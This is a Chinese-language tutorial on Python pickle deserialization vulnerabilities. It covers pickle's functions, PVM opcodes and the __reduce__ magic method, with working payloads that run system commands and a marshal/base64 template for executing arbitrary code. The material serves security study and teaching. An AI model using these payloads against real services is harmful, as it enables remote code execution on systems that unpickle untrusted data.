參考文章
一篇文章帶你理解漏洞之 Python 反序列化漏洞
Python Pickle/CPickle 反序列化漏洞
Python反序列化安全問題
pickle反序列化初探
前言
上面看完,請忽略下面的內容
Python 中有很多能進行序列化的模組,比如 Json、pickle/cPickle、Shelve、Marshal
一般 pickle 模組較常使用
在 pickle 模組中 , 常用以下四個方法
pickle.dump(obj, file)
: 將物件序列化後儲存到檔案pickle.load(file)
: 讀取檔案, 將檔案中的序列化內容反序列化為物件pickle.dumps(obj)
: 將物件序列化成字串格式的位元組流pickle.loads(bytes_obj)
: 將字串格式的位元組流反序列化為物件
注意:file檔案需要以 2 進位制方式開啟,如wb
、rb
序列化
- 從物件提取所有屬性,並將屬性轉化為鍵值對
- 寫入物件的類名
- 寫入鍵值對
看到下面這個序列化例子
py3 序列化後結果為:
b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'
py2 序列化後結果為:
(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.
這麼一大串字元代表什麼意思呢?可以簡單的與 PHP 反序列化結果做類比 ----> 特定的字元開頭幫助直譯器指明特定的操作或內容
實際上這是一串 PVM 操作碼
以 py2 執行得到的序列化結果 其中某些行的開頭的字元具有特殊含義
符號 | 含義 | 形式 | 例子 |
---|---|---|---|
c |
匯入模組及其具體物件 | c[module]\n[instance]\n | cos\nsystem\n |
( |
左括號 | ||
t |
相當於) ,與( 組合構成一個元組 |
||
R |
表示反序列化時依據 reduce 中的方式完成反序列化,會避免報錯 | 這在反序列化漏洞中很重要 | 很重要 |
S |
代表一個字串 | S'string'\n | |
p |
後面接一個數字,代表第n塊堆疊 | p0、p1 | |
. |
表示結束 | . |
例如:
cos\nsystem\n(S'whoami'\ntR.
反序列化
- 獲取 pickle 輸入流,也就是上面說的 PVM 碼
- 重建屬性列表
- 根據類名建立一個新的物件
- 將屬性複製到新的物件中
反序列化時,將字串(pickle 流)轉換為物件
與 PHP 序列化相似,Python 序列化也是將物件轉換成具有特定格式的字串(py2)或位元組流(py3),以便於傳輸與儲存,比如 session
但是在反序列化時又與 PHP 反序列化又有所不同:
- PHP 反序列化要求原始碼中必須存在有問題的類,要求是被反序列化的物件中存在可控引數,具體可看這裡
- 而 Python 反序列化不需要,其只要求被反序列化的字元可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串
pickle.loads(s) # 反序列化後即可造成命令執行,因此網站對要被反序列化的字串應該做嚴格限制
在 Python 中,一切皆物件,因此能使用 pickle 序列化的資料型別有很多
- None、True 和 False
- 整數、浮點數、複數
- str、byte、bytearray
- 只包含可封存物件的集合,包括 tuple、list、set 和 dict
- 定義在模組最外層的函式(使用 def 定義,lambda 函式則不可以)
- 定義在模組最外層的內建函式
- 定義在模組最外層的類
- 某些類例項,這些類的
__dict__
屬性值或__getstate__()
函式的返回值可以被封存
其中檔案、套接字、以及程式碼物件不能被序列化!
Why
Python 反序列化漏洞跟 __reduce__()
魔術方法相關
其類似於 PHP 物件中的 __wakeup()
方法,會在反序列化時自動呼叫
__reduce__()
魔術方法可以返回一個字串或者時一個元組。其中返回元組時,第一個引數為一個可呼叫物件
,第二個引數為該物件所需要的引數
When
關鍵問題就在 __reduce__
方法第二種返回方式---元組。在反序列化時自動呼叫 __reduce__()
方法,該方法會自動呼叫返回值中的函式模組並執行
例如下面存的程式碼:
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 執行該語句進行反序列化,自動執行 __reduce__ 方法,並且執行 os.system('ipconfig')
注意點:元類無法在反序列化時呼叫 __reduce__
魔術方法,簡單理解就是沒有繼承 object
的類
class A():
pass # 反序列化時不會呼叫 __reduce__ 方法
class B(object):
pass # 反序列化時會呼叫 __reduce__ 方法
由於 Python 反序列化時只需要被反序列化的字串可控(而不需要原始碼中存在有安全問題的類)便可造成 RCE
因此我們可以通過如下程式碼輕鬆構造 Payload:
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
print(b)
特性
- 看到如下兩種不同的序列化結果:
- 一
import pickle
import os
class Rce(object):
name = "1ndex"
a = Rce()
print(pickle.dumps(a))
結果:
ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
- 二
import pickle
import os
class Rce(object):
name = "1ndex"
def __reduce__(self):
return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))
結果:
cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.
然後用下面這個程式碼執行反序列化:
import pickle
str = "填寫上面序列化後的結果"
pickle.loads(str)
一 對應的結果反序列化:
AttributeError: 'module' object has no attribute 'Rce' # 報錯
二 對應的結果反序列化成功
一般來說反序列化時如果原始碼中沒有對應的類 Rce
,是會直接報錯的(也就是上面一的結果),但是為什麼在反序列化二的時候卻能成功呢?原始碼中明明也沒有這個 Rce
的類啊
當序列化以及反序列化的過程中碰到一無所知的擴充套件型別/類的時候,可以通過類中定義的
__reduce__
方法來告知如何進行序列化或者反序列化
也就是說我們,只要在類中定義一個 reduce 方法,我們就能在反序列化時,讓這個類根據我們在__reduce__ 中指定的方式進行序列化(也就會執行 return 中的惡意程式碼)
這應該就是大佬說的相似:
Python 除了能反序列化當前程式碼中出現的類(包括通過 import的方式引入的模組中的類)的物件以外,還能利用其徹底的物件導向的特性來反序列化使用 types 建立的匿名物件,這樣的話就大大拓寬了我們的攻擊面。
- 反序列化執行 reduce 魔術方法,在 return 時,回自動匯入原始碼中沒有引入的模組,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串
pickle.loads(s) # 實際上會執行 os.system('whoami'),但是可以看到原始碼中並未匯入 os 模組
Solution
- 嚴格控制要被反序列化的字串
利用
執行命令
import pickle
import os
class Rce(object):
def __reduce__(self):
return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))
執行任意 Python 程式碼
import marshal
import base64
def code():
# 這裡放任意想執行的 Python 程式碼
pass
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))